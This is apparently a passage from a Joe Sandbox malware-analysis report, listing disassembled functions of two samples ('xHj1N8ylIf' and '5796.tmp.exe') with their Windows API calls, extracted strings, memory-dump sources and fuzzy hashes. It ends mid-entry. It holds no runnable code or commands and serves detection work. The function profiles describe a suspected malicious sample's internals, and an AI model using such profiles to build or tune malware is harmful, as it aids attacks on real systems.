GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00437D74,?,00000050,?,?,?,?,?), ref: 00437BF4

Strings

OCP, xrefs: 00437B6D
ACP, xrefs: 00437B37

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: 2c74aa9ffc7b2301280c54355ebc3e1fad2c0e33bb0655cb424b2f8f4af082c9
Instruction ID: 67c590b936067491d1388e228c8db0bebbeb9485e66e8974699d849994372636
Opcode Fuzzy Hash: 2c74aa9ffc7b2301280c54355ebc3e1fad2c0e33bb0655cb424b2f8f4af082c9
Instruction Fuzzy Hash: C42107A2A08105A6E7348B14C841B97F2BADB5DF59F529426E986D7301F73AFD00C35C

Function 02127D80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,02127FDB,?,00000050,?,?,?,?,?), ref: 02127E5B

Strings

ACP, xrefs: 02127D9E
OCP, xrefs: 02127DD4

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: 2c74aa9ffc7b2301280c54355ebc3e1fad2c0e33bb0655cb424b2f8f4af082c9
Instruction ID: 8dedf89f99ef1d217902d3477f77534d8f221b6afe62748db8f308f90bb2f295
Opcode Fuzzy Hash: 2c74aa9ffc7b2301280c54355ebc3e1fad2c0e33bb0655cb424b2f8f4af082c9
Instruction Fuzzy Hash: D321CB62A80124AAEB25CB548900BABF267EF45B54F574464FD09DB2C0FB32DD5AC3A4

Function 021197A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 0211986D

Strings

pdE, xrefs: 0211981C
pdE, xrefs: 02119823

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: CallFilterFunc@8
String ID: pdE$pdE
API String ID: 4062629308-250928805
Opcode ID: 0b6c3d311c616e34192bc8da14ed6fc5951571ff1e319df1b96a6c3fab3b52bd
Instruction ID: f5a7f50c6de469344f847f80ead2a072c4fe2cc43c85a92682d6a76d43af2813
Opcode Fuzzy Hash: 0b6c3d311c616e34192bc8da14ed6fc5951571ff1e319df1b96a6c3fab3b52bd
Instruction Fuzzy Hash: 66210B71E902084ECB1C6B789C2177E77929F42739F29837AD4355B2D1D7788907CE45

Function 0211951E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 021195E6

Strings

pdE, xrefs: 0211959C
pdE, xrefs: 02119595

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: CallFilterFunc@8
String ID: pdE$pdE
API String ID: 4062629308-250928805
Opcode ID: 538fa64867db25252533b80dc3d75b3de66874e9f1644788b6d3c8990c3b6206
Instruction ID: fab4146a3614ca1194c16f9599b95fd59a0b8c06ce2ae32a62a1f836951bd6ab
Opcode Fuzzy Hash: 538fa64867db25252533b80dc3d75b3de66874e9f1644788b6d3c8990c3b6206
Instruction Fuzzy Hash: E42146B1E942104EDB586B389C2136E33625F46338F29833AD435AB2D1DB388903CA49

Function 021198AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021198DA
_free.LIBCMT ref: 02119900

Strings

paE, xrefs: 02119919

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free
String ID: paE
API String ID: 269201875-3521142459
Opcode ID: 124e295daebc4e4f7b4b15543f23f47b3091b41b3836c9387ed3c493eea40993
Instruction ID: e49ef2643bf3baf74bbe5b3d77562f7cf576d68d0028b828d329218db6471bb5
Opcode Fuzzy Hash: 124e295daebc4e4f7b4b15543f23f47b3091b41b3836c9387ed3c493eea40993
Instruction Fuzzy Hash: 14110871E907105FDB209F39AC41B563395A700735F14067AFA39EB2E5EF70E8468B94

Function 00401C54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 00401C6F
GdipGetImageEncoders.GDIPLUS(?,?,00000000), ref: 00401C94

Strings

image/png, xrefs: 00401CA2

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: EncodersGdipImage$Size
String ID: image/png
API String ID: 864223233-2966254431
Opcode ID: b12be1c204901d25cb2b256bbcb4395d0bb9339f1f3a0ac9645041241f2b4f7d
Instruction ID: f0d3dd24fc60b303086e21c805d932d5d4dde701268f4373fd21b3475efe1bce
Opcode Fuzzy Hash: b12be1c204901d25cb2b256bbcb4395d0bb9339f1f3a0ac9645041241f2b4f7d
Instruction Fuzzy Hash: 2E11A336D08119EFDB11DFD9D9808AEBBB5FE41360B6002BBF921B32E0D7759E409A54

Function 020F9561 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 020F9568
_strlen.LIBCMT ref: 020F9583

Strings

NC, xrefs: 020F9563

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: H_prolog3__strlen
String ID: NC
API String ID: 807648885-3745593769
Opcode ID: 91c8560626cccada091aebaa365375dac48ae2b9ccca00331eb8da21f647c3e2
Instruction ID: e05a80bf4ea61c2596ce6aa13cd2c140b37a588d2feaa6ea0693c080bec95ca4
Opcode Fuzzy Hash: 91c8560626cccada091aebaa365375dac48ae2b9ccca00331eb8da21f647c3e2
Instruction Fuzzy Hash: EC113C3194020DDFCF40EFA8C990ADEBBB5EF18300F54442DEA01AB550D770AA44DFA1

Function 0041A6AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041A6F3
__CxxThrowException@8.LIBVCRUNTIME ref: 0041A701

Strings

pContext, xrefs: 0041A6EB

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 1687795959-2046700901
Opcode ID: 461cd59295c88c429bbb33fc469b1d3de40ea0b95e4e38789b831016ca6fa9a9
Instruction ID: d030f8a46b7f0ce15bf467113487c9eb7ea0adec7c759207085fc528663f44cd
Opcode Fuzzy Hash: 461cd59295c88c429bbb33fc469b1d3de40ea0b95e4e38789b831016ca6fa9a9
Instruction Fuzzy Hash: 20F0503970021457CB00EB54E884D5EB778BF95794B04007BE901E3391CB78EC01C7A9

Function 0043D33A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0043D341

Strings

RCC, xrefs: 0043D373
MOC, xrefs: 0043D364

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: H_prolog3_catch
String ID: MOC$RCC
API String ID: 3886170330-2084237596
Opcode ID: ae7119942de878511bd1d3dca8c4c77cb4135456c25c274c17b32e2e800be162
Instruction ID: 9fa165affed3be7d74171071c85945268d864796eaf831c1fcacb73af1d7d30a
Opcode Fuzzy Hash: ae7119942de878511bd1d3dca8c4c77cb4135456c25c274c17b32e2e800be162
Instruction Fuzzy Hash: 02F03170A00124DFCB12EF65D44655D3670EF09709F855097F8505B311CB7C5F458B6E

Function 020F8F14 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo.LIBCPMT ref: 020F8F49

Part of subcall function 020F9275: std::_Lockit::_Lockit.LIBCPMT ref: 020F9289
Part of subcall function 020F9275: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 020F92C6

Part of subcall function 020F8EDB: __Getctype.LIBCPMT ref: 020F8EEA
Part of subcall function 020F8EDB: __Getcvt.LIBCPMT ref: 020F8EFC

std::_Locinfo::~_Locinfo.LIBCPMT ref: 020F8F65

Part of subcall function 020F9320: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 020F9347
Part of subcall function 020F9320: std::_Lockit::~_Lockit.LIBCPMT ref: 020F93B8

Strings

=C, xrefs: 020F8F16

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_$LocinfoLockit$GetctypeGetcvtLocinfo::~_Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: =C
API String ID: 120718195-1630774198
Opcode ID: 2bdaf6ea2d470f5747a48e18d9b34142cd6aaf5ab81dfc157dfc5011751583fc
Instruction ID: 2bde66f5cccfea332c68253987aab364425741620c3ce1655afd85b3cfbe6da2
Opcode Fuzzy Hash: 2bdaf6ea2d470f5747a48e18d9b34142cd6aaf5ab81dfc157dfc5011751583fc
Instruction Fuzzy Hash: 7AF0E2B158030AEFEB90EF90C452BDD77B3AF44750F50800AE2095BAC0EB745904EF85

Function 020F93CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo.LIBCPMT ref: 020F9401

Part of subcall function 020F9275: std::_Lockit::_Lockit.LIBCPMT ref: 020F9289
Part of subcall function 020F9275: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 020F92C6

Part of subcall function 020F9242: __Getctype.LIBCPMT ref: 020F925D

std::_Locinfo::~_Locinfo.LIBCPMT ref: 020F9415

Part of subcall function 020F9320: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 020F9347
Part of subcall function 020F9320: std::_Lockit::~_Lockit.LIBCPMT ref: 020F93B8

Strings

#C, xrefs: 020F93CE

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_$LocinfoLockit$GetctypeLocinfo::~_Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: #C
API String ID: 3634385808-3202583125
Opcode ID: eb0e3335fe0fe9243699151a51bb21358bb2f336427c0647253dfffe32b01fdb
Instruction ID: ce6d491131f369b0efb2b182d31cac5915ad34ab151d9d9fbbec8af47007904c
Opcode Fuzzy Hash: eb0e3335fe0fe9243699151a51bb21358bb2f336427c0647253dfffe32b01fdb
Instruction Fuzzy Hash: 6EF0A031A8030DABEFC1EFA4C842BDC7362AF54710F508016E205ABAC0DF746A41EF95

Function 00425A27 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

std::__non_rtti_object::__construct_from_string_literal.LIBVCRUNTIME ref: 00425A33
__CxxThrowException@8.LIBVCRUNTIME ref: 00425A5A

Part of subcall function 004252B1: RaiseException.KERNEL32(?,?,0040A8C9,00000000,00000000,00000000,00000000,?,?,?,?,0040A8C9,00000000,00452CD0,00000000), ref: 00425311

Strings

Access violation - no RTTI data!, xrefs: 00425A2A

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowstd::__non_rtti_object::__construct_from_string_literal
String ID: Access violation - no RTTI data!
API String ID: 2053020834-2158758863
Opcode ID: 77a1f435bcb1e65ff4750c13afd10de5da719a28ad9a536cd1de58b53bc69b21
Instruction ID: 604f877625c0360ac8979551c2f25a45401220d52974a8c234ab4da81d4bc5a9
Opcode Fuzzy Hash: 77a1f435bcb1e65ff4750c13afd10de5da719a28ad9a536cd1de58b53bc69b21
Instruction Fuzzy Hash: 9FE02071B047196A4A00D5E0F447EFE73AC8504320BA00157F90093141EE3CFD80466C

Function 0041DF5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041DF7B
__CxxThrowException@8.LIBVCRUNTIME ref: 0041DF89

Strings

pThreadProxy, xrefs: 0041DF73

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: pThreadProxy
API String ID: 1687795959-3651400591
Opcode ID: c902a83eead8c1ab3ba69bbcbf18024236bfd2ca103b784a0dd9a483e340dcea
Instruction ID: d539c67feaa62fcf9d314a848948cacae892a047e605a3528f4b424dfbbe6ac7
Opcode Fuzzy Hash: c902a83eead8c1ab3ba69bbcbf18024236bfd2ca103b784a0dd9a483e340dcea
Instruction Fuzzy Hash: 8BD05EB1E00308A7C700EBA5D907F8E73F85B11788F54457B6911B6187EAB8E615CAAC

Function 0043616D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 0043616D
GetCommandLineW.KERNEL32 ref: 00436178

Strings

%], xrefs: 00436173

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: CommandLine
String ID: %]
API String ID: 3253501508-421030194
Opcode ID: 7134a13c99b1aee5362e0d7f8df82d1183794f37a78ede539762215afbb3162c
Instruction ID: 7ceaee11e56a4f04ab467daebe68a9639740827c71ede4b1a339faa1e76667aa
Opcode Fuzzy Hash: 7134a13c99b1aee5362e0d7f8df82d1183794f37a78ede539762215afbb3162c
Instruction Fuzzy Hash: 77B0927C804300CFC7108F30B90C2043BE1B20B20B3801875D609D2322E7348822CF09

Function 00427B3A Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,00402590,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00402590,00000000), ref: 00427BD0
GetLastError.KERNEL32 ref: 00427BDE
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00402590,00000000), ref: 00427C39

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: c01e3aab6e19d93685ac4f69a098420368a9b0cd73a3096e9c648d9cfae5aa17
Instruction ID: aa99049258c83719a0d26a95d179a26ed17e2ec24e0fea6ff97a369ab8878185
Opcode Fuzzy Hash: c01e3aab6e19d93685ac4f69a098420368a9b0cd73a3096e9c648d9cfae5aa17
Instruction Fuzzy Hash: 62412530708222EFCB218F76E844ABF7BA4EF41310F5041ABE955972A1EB359D01CB5C

Function 02117DA1 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,020F27F7,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,020F27F7,00000000), ref: 02117E37
GetLastError.KERNEL32 ref: 02117E45
MultiByteToWideChar.KERNEL32(?,00000001,?,?,020F27F7,00000000), ref: 02117EA0

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: b078d8aed94250e81278373a56438e1e526389972d284f3102d61983709a15de
Instruction ID: 6e6c1fe9a19b57d83e27da140d66dec0464fd2d004db74073460148944f74d96
Opcode Fuzzy Hash: b078d8aed94250e81278373a56438e1e526389972d284f3102d61983709a15de
Instruction Fuzzy Hash: CE41A231645216AFCB268F64C8447BBFBA5EF01314F254179E8659B3E0DB319D02CB60

Analysis Process: 5796.tmp.exePID: 6036, Parent PID: 6736COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	32.1%
Total number of Nodes:	112
Total number of Limit Nodes:	10

Executed Functions

Function 0069D0D0 Relevance: 32.5, APIs: 11, Strings: 7, Instructions: 957
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(80838290,00000000,00000001,?,00000000), ref: 0069D572
SysAllocString.OLEAUT32 ref: 0069D608
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0069D646
SysAllocString.OLEAUT32 ref: 0069D6A8
SysAllocString.OLEAUT32 ref: 0069D765
VariantInit.OLEAUT32(?), ref: 0069D7D6
SysFreeString.OLEAUT32(00000000), ref: 0069DB5D
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0069DB95

Strings

yv, xrefs: 0069D813
tu, xrefs: 0069D5AC
[B, xrefs: 0069D225
[J, xrefs: 0069D21D
CfF, xrefs: 0069D600
fF, xrefs: 0069D5D0
{pqv, xrefs: 0069D120

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: String$Alloc$BlanketCreateFreeInformationInitInstanceProxyVariantVolume
String ID: fF$CfF$[B$[J$tu$yv${pqv
API String ID: 505850577-1972840126
Opcode ID: e28d091df2f9c3b2b912bf04abb8fe889a38fd3fdd14fc054bb6d77a1240a3dd
Instruction ID: b74bcb3bfe370630ef812cbe06d6dc30be670209fdf962e44a75ef8569e3c317
Opcode Fuzzy Hash: e28d091df2f9c3b2b912bf04abb8fe889a38fd3fdd14fc054bb6d77a1240a3dd
Instruction Fuzzy Hash: 5E621472A083118FD714CF68C89579BBBE6EFD5314F198A2CE4D58B390D7799809CB82

Function 00668A60 Relevance: 7.7, APIs: 5, Instructions: 216
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00668A84
GetCurrentThreadId.KERNEL32 ref: 00668A8E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00668B76
GetForegroundWindow.USER32 ref: 00668B8B
ExitProcess.KERNEL32 ref: 00668D07

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 27f2fa62979c496e9bc10552d99a61ead1e1d7659c4b89de2051182ba8fecf23
Instruction ID: 1b2a39a299cb2afd93b9174c2825ada9ed595882f68b82defa0d71d6fd5737cb
Opcode Fuzzy Hash: 27f2fa62979c496e9bc10552d99a61ead1e1d7659c4b89de2051182ba8fecf23
Instruction Fuzzy Hash: 96617773B043140FD318AE79DC1639AB6D39BC5310F0F863DA995EB791EE7888068785

Function 0066C080 Relevance: 6.4, Strings: 5, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

50, xrefs: 0066C1AD
'!, xrefs: 0066C119
Js, xrefs: 0066C0C1
DM_e, xrefs: 0066C083
FwPq, xrefs: 0066C0B9

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID: 50$DM_e$FwPq$Js$'!
API String ID: 0-1711485358
Opcode ID: 1fbb4c950ba59933efef136dae059f903cfa9500489e378b37e8af2b7d965fd4
Instruction ID: 07f7fd1888c6bc6065eb3d7343a3d5c8b360d06964082f05d9aea4bc0babed1d
Opcode Fuzzy Hash: 1fbb4c950ba59933efef136dae059f903cfa9500489e378b37e8af2b7d965fd4
Instruction Fuzzy Hash: 5651D9B45493808FE338CF21C991B8BBBB1BBA1304F609A0CE6D95B254CB759046CF97

Function 00678BA2 Relevance: 5.4, Strings: 4, Instructions: 367
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

bd\,, xrefs: 00678BB1
fnga, xrefs: 00678BBC
oQ, xrefs: 00678BD2
PWPQ, xrefs: 00678BC7

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID: PWPQ$bd\,$fnga$oQ
API String ID: 0-3706350231
Opcode ID: 863b78f13ba62f63916b1d3445740ccd9448efc8aefd7f54ba4ebd89d92d991f
Instruction ID: 18533a9481132aa92874b893be87dd24e62f72132bc6cd82f4e099275deeeb08
Opcode Fuzzy Hash: 863b78f13ba62f63916b1d3445740ccd9448efc8aefd7f54ba4ebd89d92d991f
Instruction Fuzzy Hash: 06C11472A183508FD7258F24C8557AB77E6EFC6314F18892DE8998B351EF359801CB92

Function 00682370 Relevance: 4.2, Strings: 3, Instructions: 457
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d~m`, xrefs: 006824B5
anold~m`, xrefs: 006824DA
-jkhanold~m`, xrefs: 006824CE

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID: -jkhanold~m`$anold~m`$d~m`
API String ID: 0-185452761
Opcode ID: d49d82f6dee0b69ccdeb9ac9c72559ba4ec1d23df509649ca449329d3e76b77d
Instruction ID: 631a30c59c0f52f1decd73d20121671e37e5f4c137586ccdb919bf9b3b2e0323
Opcode Fuzzy Hash: d49d82f6dee0b69ccdeb9ac9c72559ba4ec1d23df509649ca449329d3e76b77d
Instruction Fuzzy Hash: F1D19BB06083418FD714DF68C8A5BABBBE5FF85314F144A1CE5958B392E7B8D809CB52

Function 00675D89 Relevance: 1.6, APIs: 1, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d5152f4af5b5ed70bcb14ad3a8b7d220bea2009a2a47c4e1f7ab6502dfbea98
Instruction ID: 9431bb452fe45dca0085475bd6a18956441fecfbb532d85b6c6536c36f7b83d5
Opcode Fuzzy Hash: 5d5152f4af5b5ed70bcb14ad3a8b7d220bea2009a2a47c4e1f7ab6502dfbea98
Instruction Fuzzy Hash: DB51B4B16486428FC714CF68C4957ABB7E3ABD5310F188A2DE49E87342E739DD45CB82

Function 006A2080 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(006A523A,00000002,00000018,?,?,00000018,?,?,?), ref: 006A20AE

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 006A23C5 Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 006A23C5
GetForegroundWindow.USER32 ref: 006A23E0

Memory Dump Source

